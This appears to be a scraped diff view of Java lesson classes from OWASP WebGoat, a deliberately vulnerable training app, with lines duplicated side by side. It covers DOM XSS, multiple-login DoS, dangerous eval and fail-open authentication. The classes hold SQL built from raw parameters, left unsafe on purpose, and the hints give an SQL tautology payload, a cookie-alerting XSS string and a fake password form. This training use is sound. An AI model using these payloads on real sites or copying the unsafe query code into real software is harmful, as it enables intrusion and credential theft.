// ">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> // ">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints; return hints;
} }
/** /**
* Gets the ranking attribute of the HelloScreen object * Gets the ranking attribute of the HelloScreen object
* *
* @return The ranking value * @return The ranking value
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("LAB: DOM-Based cross-site scripting"); return ("LAB: DOM-Based cross-site scripting");
} }
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) if (getLessonTracker(s).getStage() == 1)
{ {
instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>"; instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>";
} }
else if (getLessonTracker(s).getStage() == 2) else if (getLessonTracker(s).getStage() == 2)
{ {
instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag";
} }
else if (getLessonTracker(s).getStage() == 3) else if (getLessonTracker(s).getStage() == 3)
{ {
instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag.";
} }
else if (getLessonTracker(s).getStage() == 4) else if (getLessonTracker(s).getStage() == 4)
{ {
instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>" instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>"
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"; + "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;";
} }
else if (getLessonTracker(s).getStage() == 5) else if (getLessonTracker(s).getStage() == 5)
{ {
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js."; instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js.";
} }
return (instructions); return (instructions);
} }
private String getFileContent(String content) private String getFileContent(String content)
{ {
BufferedReader is = null; BufferedReader is = null;
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
try try
{ {
is = new BufferedReader(new FileReader(new File(content))); is = new BufferedReader(new FileReader(new File(content)));
String s = null; String s = null;
while ((s = is.readLine()) != null) while ((s = is.readLine()) != null)
{ {
sb.append(s); sb.append(s);
} }
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} finally } finally
{ {
if (is != null) if (is != null)
{ {
try try
{ {
is.close(); is.close();
} catch (IOException ioe) } catch (IOException ioe)
{ {
} }
} }
} }
return sb.toString(); return sb.toString();
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -57,196 +57,196 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
public class DOS_Login extends LessonAdapter public class DOS_Login extends LessonAdapter
{ {
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String PASSWORD = "Password"; protected final static String PASSWORD = "Password";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
String username = ""; String username = "";
String password = ""; String password = "";
username = s.getParser().getRawParameter(USERNAME); username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD); password = s.getParser().getRawParameter(PASSWORD);
// don;t allow user name from other lessons. it would be too simple. // don;t allow user name from other lessons. it would be too simple.
if (username.equals("jeff") || username.equals("dave")) if (username.equals("jeff") || username.equals("dave"))
{ {
ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson")); ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson"));
return (ec.addElement(makeLogin(s))); return (ec.addElement(makeLogin(s)));
} }
// Check if the login is valid // Check if the login is valid
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '" String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '"
+ password + "'"; + password + "'";
ec.addElement(new StringElement(query)); ec.addElement(new StringElement(query));
try try
{ {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
if (results.getRow() >= 1) if (results.getRow() >= 1)
{ {
// Make sure this isn't data from an sql injected query. // Make sure this isn't data from an sql injected query.
if (results.getString(2).equals(username) && results.getString(3).equals(password)) if (results.getString(2).equals(username) && results.getString(3).equals(password))
{ {
String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '" String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '"
+ s.getUserName() + "' )"; + s.getUserName() + "' )";
statement.executeUpdate(insertData1); statement.executeUpdate(insertData1);
} }
// check the total count of logins // check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
results = statement.executeQuery(query); results = statement.executeQuery(query);
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
if (results.getRow() >= 3) if (results.getRow() >= 3)
{ {
makeSuccess(s); makeSuccess(s);
String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName()
+ "'"; + "'";
statement.executeUpdate(deleteData1); statement.executeUpdate(deleteData1);
return (new H1("Congratulations! Lesson Completed")); return (new H1("Congratulations! Lesson Completed"));
} }
ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow())); ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow()));
} }
} }
else else
{ {
ec.addElement(new H2("Login Failed")); ec.addElement(new H2("Login Failed"));
// check the total count of logins // check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
results = statement.executeQuery(query); results = statement.executeQuery(query);
results.last(); results.last();
ec.addElement(new H2("Successfull login count: " + results.getRow())); ec.addElement(new H2("Successfull login count: " + results.getRow()));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
/** /**
* Catching this exception prevents the "Error generating * Catching this exception prevents the "Error generating
* org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note
* that if we are missing a parameter in the request, we do not want to continue * that if we are missing a parameter in the request, we do not want to continue
* processing and we simply want to display the default login page. * processing and we simply want to display the default login page.
*/ */
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
return (ec.addElement(makeLogin(s))); return (ec.addElement(makeLogin(s)));
} }
/** /**
* Gets the category attribute of the WeakAuthenticationCookie object * Gets the category attribute of the WeakAuthenticationCookie object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.DOS; return Category.DOS;
} }
/** /**
* Gets the hints attribute of the CookieScreen object * Gets the hints attribute of the CookieScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Use a SQL Injection to obtain the user names. "); hints.add("Use a SQL Injection to obtain the user names. ");
hints hints
.add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'"); .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
hints.add("Try &quot;dont_care' or '1' = '1&quot; in the password field"); hints.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(90); private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CookieScreen object * Gets the title attribute of the CookieScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Denial of Service from Multiple Logins"); return ("Denial of Service from Multiple Logins");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// add the login fields // add the login fields
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new StringElement("User Name: "))); row1.addElement(new TD(new StringElement("User Name: ")));
row2.addElement(new TD(new StringElement("Password: "))); row2.addElement(new TD(new StringElement("Password: ")));
Input input1 = new Input(Input.TEXT, USERNAME, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1)); row1.addElement(new TD(input1));
row2.addElement(new TD(input2)); row2.addElement(new TD(input2));
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
Element b = ECSFactory.makeButton("Login"); Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b))); t.addElement(new TR(new TD(b)));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
} }

View File

@ -53,230 +53,230 @@ import org.owasp.webgoat.session.WebSession;
public class DangerousEval extends LessonAdapter public class DangerousEval extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
public final static String PASSED = "__DANGEROUS_EVAL_PASS"; public final static String PASSED = "__DANGEROUS_EVAL_PASS";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1); Pattern pattern1 = Pattern.compile(regex1);
try try
{ {
checkSuccess(s); checkSuccess(s);
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
// String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 // String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214
// 0002 1999")); // 0002 1999"));
float quantity = 1.0f; float quantity = 1.0f;
float total = 0.0f; float total = 0.0f;
float runningTotal = 0.0f; float runningTotal = 0.0f;
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement("<script src='lessonJS/eval.js'> </script>"); ec.addElement("<script src='lessonJS/eval.js'> </script>");
// <script src='javascript/sameOrigin.js' language='JavaScript'></script> // <script src='javascript/sameOrigin.js' language='JavaScript'></script>
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%")); tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%")); tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right")); tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f); quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f; total = quantity * 69.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right")); tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right")); tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f); quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f; total = quantity * 27.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>")); tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD().addElement("1599.99").setAlign("right")); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right")); tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f); quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f; total = quantity * 1599.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right")); tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right")); tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f); quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f; total = quantity * 299.99f;
runningTotal += total; runningTotal += total;
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:")); tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal)); tr.addElement(new TD().addElement("$" + runningTotal));
Input b = new Input(); Input b = new Input();
b.setType(Input.BUTTON); b.setType(Input.BUTTON);
b.setValue("Update Cart"); b.setValue("Update Cart");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr.addElement(new TD().addElement(b)); tr.addElement(new TD().addElement(b));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:")); tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD() tr.addElement(new TD()
.addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>")); .addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:")); tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input id='field1' name='field1' type='TEXT' value='123'>")); tr.addElement(new TD().addElement("<input id='field1' name='field1' type='TEXT' value='123'>"));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1))); // tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr); t.addElement(tr);
b = new Input(); b = new Input();
b.setType(Input.BUTTON); b.setType(Input.BUTTON);
b.setValue("Purchase"); b.setValue("Purchase");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The lesson is similar to the standard reflected cross-site scripting lesson."); hints.add("The lesson is similar to the standard reflected cross-site scripting lesson.");
hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem."); hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem.");
hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?"); hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?");
hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters."); hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters.");
hints.add("In order to pass this lesson, you must 'alert' the document.cookie."); hints.add("In order to pass this lesson, you must 'alert' the document.cookie.");
hints.add("Try 123');alert(document.cookie);('"); hints.add("Try 123');alert(document.cookie);('");
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) // <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1)
// {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); // {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/** /**
* Gets the instructions attribute of the WeakAccessControl object * Gets the instructions attribute of the WeakAccessControl object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie."; String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "Dangerous Use of Eval"; return "Dangerous Use of Eval";
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
/** /**
* Check to see if JSP says they passed the lesson. * Check to see if JSP says they passed the lesson.
* *
* @param s * @param s
*/ */
private void checkSuccess(WebSession s) private void checkSuccess(WebSession s)
{ {
javax.servlet.http.HttpSession session = s.getRequest().getSession(); javax.servlet.http.HttpSession session = s.getRequest().getSession();
if (session.getAttribute(PASSED) != null) if (session.getAttribute(PASSED) != null)
{ {
makeSuccess(s); makeSuccess(s);
session.removeAttribute(PASSED); session.removeAttribute(PASSED);
} }
} }
} }

File diff suppressed because it is too large Load Diff

View File

@ -41,144 +41,145 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class FailOpenAuthentication extends WeakAuthenticationCookie public class FailOpenAuthentication extends WeakAuthenticationCookie
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) .addElement(
.setVspace(0)); new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
boolean logout = s.getParser().getBooleanParameter(LOGOUT, false); boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
if (logout) if (logout)
{ {
s.setMessage("Goodbye!"); s.setMessage("Goodbye!");
s.eatCookies(); s.eatCookies();
return (makeLogin(s)); return (makeLogin(s));
} }
try try
{ {
String username = ""; String username = "";
String password = ""; String password = "";
try try
{ {
username = s.getParser().getRawParameter(USERNAME); username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD); password = s.getParser().getRawParameter(PASSWORD);
// if credentials are bad, send the login page // if credentials are bad, send the login page
if (!"webgoat".equals(username) || !password.equals("webgoat")) if (!"webgoat".equals(username) || !password.equals("webgoat"))
{ {
s.setMessage("Invalid username and password entered."); s.setMessage("Invalid username and password entered.");
return (makeLogin(s)); return (makeLogin(s));
} }
} catch (Exception e) } catch (Exception e)
{ {
// The parameter was omitted. set fail open status complete // The parameter was omitted. set fail open status complete
if (username.length() > 0 && e.getMessage().indexOf("not found") != -1) if (username.length() > 0 && e.getMessage().indexOf("not found") != -1)
{ {
if ((username != null) && (username.length() > 0)) if ((username != null) && (username.length() > 0))
{ {
makeSuccess(s); makeSuccess(s);
return (makeUser(s, username, "Fail Open Error Handling")); return (makeUser(s, username, "Fail Open Error Handling"));
} }
} }
} }
// Don't let the fail open pass with a blank password. // Don't let the fail open pass with a blank password.
if (password.length() == 0) if (password.length() == 0)
{ {
// We make sure the username was submitted to avoid telling the user an invalid // We make sure the username was submitted to avoid telling the user an invalid
// username/password was entered when they first enter the lesson via the side menu. // username/password was entered when they first enter the lesson via the side menu.
// This also suppresses the error if they just hit the login and both fields are // This also suppresses the error if they just hit the login and both fields are
// empty. // empty.
if (username.length() != 0) if (username.length() != 0)
{ {
s.setMessage("Invalid username and password entered."); s.setMessage("Invalid username and password entered.");
} }
return (makeLogin(s)); return (makeLogin(s));
} }
// otherwise authentication is good, show the content // otherwise authentication is good, show the content
if ((username != null) && (username.length() > 0)) { return (makeUser(s, username, if ((username != null) && (username.length() > 0)) { return (makeUser(s, username,
"Parameters. You did not exploit the fail open.")); } "Parameters. You did not exploit the fail open.")); }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
return (makeLogin(s)); return (makeLogin(s));
} }
/** /**
* Gets the category attribute of the FailOpenAuthentication object * Gets the category attribute of the FailOpenAuthentication object
* *
* @return The category value * @return The category value
*/ */
public Category getDefaultCategory() public Category getDefaultCategory()
{ {
return Category.ERROR_HANDLING; return Category.ERROR_HANDLING;
} }
/** /**
* Gets the hints attribute of the AuthenticateScreen object * Gets the hints attribute of the AuthenticateScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("You can force errors during the authentication process."); hints.add("You can force errors during the authentication process.");
hints.add("You can change length, existance, or values of authentication parameters."); hints.add("You can change length, existance, or values of authentication parameters.");
hints hints
